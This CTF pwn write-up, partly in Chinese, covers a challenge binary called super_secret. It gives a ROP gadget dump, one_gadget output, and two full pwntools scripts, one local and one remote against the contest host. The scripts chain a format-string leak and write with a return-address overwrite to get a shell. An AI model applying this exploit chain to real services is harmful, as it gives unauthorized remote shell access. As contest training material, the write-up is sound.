0x000000000040146f : jmp qword ptr [rax]
0x00000000004008d5 : jmp rax
0x0000000000400b14 : leave ; ret
0x0000000000400943 : mov byte ptr [rip + 0x20176e], 1 ; ret
0x0000000000400f1b : mov eax, 0 ; leave ; ret
0x0000000000400e2b : mov eax, dword ptr [rax*8 + 0x4013b8] ; jmp rax
0x000000000040096c : mov ebp, esp ; call rax
0x00000000004008d0 : mov edi, 0x6020a0 ; jmp rax
0x0000000000400f77 : mov edi, edi ; call qword ptr [r12 + rbx*8]
0x0000000000400f76 : mov edi, r15d ; call qword ptr [r12 + rbx*8]
0x0000000000400e2a : mov rax, qword ptr [rax*8 + 0x4013b8] ; jmp rax
0x000000000040096b : mov rbp, rsp ; call rax
0x000000000040146c : movsd dword ptr [rdi], dword ptr [rsi] ; idiv edi ; jmp qword ptr [rax]
0x0000000000400bdd : nop ; add rsp, 0x28 ; pop rbx ; pop rbp ; ret
0x0000000000400ef5 : nop ; leave ; ret
0x0000000000400d9d : nop ; pop rbp ; ret
0x00000000004008d8 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x0000000000400f98 : nop dword ptr [rax + rax] ; ret
0x0000000000400925 : nop dword ptr [rax] ; pop rbp ; ret
0x0000000000400f8c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f8e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f90 : pop r14 ; pop r15 ; ret
0x0000000000400f92 : pop r15 ; ret
0x0000000000400942 : pop rbp ; mov byte ptr [rip + 0x20176e], 1 ; ret
0x00000000004008cf : pop rbp ; mov edi, 0x6020a0 ; jmp rax
0x0000000000400f8b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400f8f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004008e0 : pop rbp ; ret
0x0000000000400be2 : pop rbx ; pop rbp ; ret
0x0000000000400f93 : pop rdi ; ret
0x0000000000400f91 : pop rsi ; pop r15 ; ret
0x0000000000400f8d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040096a : push rbp ; mov rbp, rsp ; call rax
0x0000000000400761 : ret
0x00000000004009d1 : ret 0x20be
0x0000000000400c9a : ret 0x48d
0x0000000000400c8f : ret 0xc889
0x0000000000400c96 : ret 0xd089
0x0000000000400dca : ret 0xfff9
0x0000000000400967 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax
0x0000000000400be1 : sub byte ptr [rbx + 0x5d], bl ; ret
0x0000000000400fa5 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000400fa4 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004008da : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x0000000000400f9a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400966 : test eax, eax ; je 0x400963 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000400965 : test rax, rax ; je 0x400964 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000400a29 : xor byte ptr [rax - 0x77], cl ; ret 0x20be

为了简化利用过程,我们只需要修改返回地址
bin_sh_addr+system_addr何以用secure_service的set_message来布置,因为password的位置恰好在get_message返回地址的正下方
Exploit:(这里我利用了第一次的password来获取/bin/sh字符串,没有使用libc中的/bin/sh,因为最初没找到libc版本,只能在服务器readelf获取system偏移)(同时注意输入正确验证码,否则get_message会执行memset(a1, 0, 0x80uLL);)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
#context.log_level = 'debug'
p=process("./super_secret")
p.recvuntil("> ")
payload1=p64(0x000400DA1)*15
p.sendline(payload1)
p.recvuntil("> ")
p.sendline("s")
p.recvuntil("Password:\n")
p.sendline("/bin/sh\x00")
p.recvuntil("Message:\n")
p.sendline("%17$16llx%20$16llx%20$hhn")
p.recvuntil("> ")
p.sendline("v")
p.recvuntil("Password:\n")
p.sendline("/bin/sh\x00")
p.recvuntil("====================\n")
key=p.recvuntil("\n")
fgets_AD_addr=int(key[0:17],16)
fgets_addr=fgets_AD_addr-0xad
system_addr=fgets_addr-0x6dad0+0x000000000045390
ebp_addr=int(key[17:33],16)
ebp_new=(ebp_addr&0xffffffffffffff00)+0x20+0x10
bin_sh_addr=ebp_addr-0x130
pop_edi_ret=0x0000000000400f93
p.recvuntil("Captcha: ")
ch=p.recv()[:6]
p.sendline(ch)
payload=p64(bin_sh_addr)+p64(system_addr)
p.recv()
p.sendline("s")
p.recv()
p.sendline(payload)
p.recv()
retn_addr=ebp_new-0x138
print hex(retn_addr)
payload3="%3987c%28$hn%41c"+p64(retn_addr)
p.sendline(payload3)
print p.recvuntil("> ")
p.sendline("v")
p.recv()
p.sendline(payload)
p.recvuntil("Captcha: ")
ch=p.recv()[:6]
p.sendline(ch)
p.interactive()

在本地成功打到shell
不过远程总是报错:

1
timeout: the monitored command dumped core

猜测是服务器端运行时环境变量的缘故
最后选择使用one_gadget获取执行execve(“/bin/sh”)的地址来打到shell

1
$ one_gadget  ./libc.so.6

1
2
3
4
5
6
7
8
9
10
11
0x4f2c5	execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

修改pop rdi;ret后的system地址为execve(“/bin/sh”)的地址
最终远程打到shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

p=remote("problem1.tjctf.org",8009)
p.recvuntil("> ")
payload1=p64(0x000400DA1)*15
p.sendline(payload1)
p.recvuntil("> ")
p.sendline("s")
p.recvuntil("Password:\n")
p.sendline("/bin/sh\x00")
p.recvuntil("Message:\n")
p.sendline("%17$16llx%20$16llx%20$hhn")
p.recvuntil("> ")
p.sendline("v")
p.recvuntil("Password:\n")
p.sendline("/bin/sh\x00")
p.recvuntil("====================\n")
key=p.recvuntil("\n")
fgets_AD_addr=int(key[0:17],16)
fgets_addr=fgets_AD_addr-0xad
execve_addr=fgets_addr-0x7eb20+0x0000000010a38c
ebp_addr=int(key[17:33],16)
ebp_new=(ebp_addr&0xffffffffffffff00)+0x20+0x10
bin_sh_addr=ebp_addr-0x130
pop_edi_ret=0x0000000000400f93
p.recvuntil("Captcha: ")
ch=p.recv()[:6]
p.sendline(ch)
payload=p64(bin_sh_addr)+p64(execve_addr)
p.recv()
p.sendline("s")
p.recv()
p.sendline(payload)
p.recv()
retn_addr=ebp_new-0x138
hex(retn_addr)
payload3="%3987c%28$hn%41c"+p64(retn_addr)
p.sendline(payload3)
p.recvuntil("> ")
p.sendline("v")
p.recv()
p.sendline(payload)
p.recvuntil("Captcha: ")
ch=p.recv()[:6]
p.sendline(ch)
p.interactive()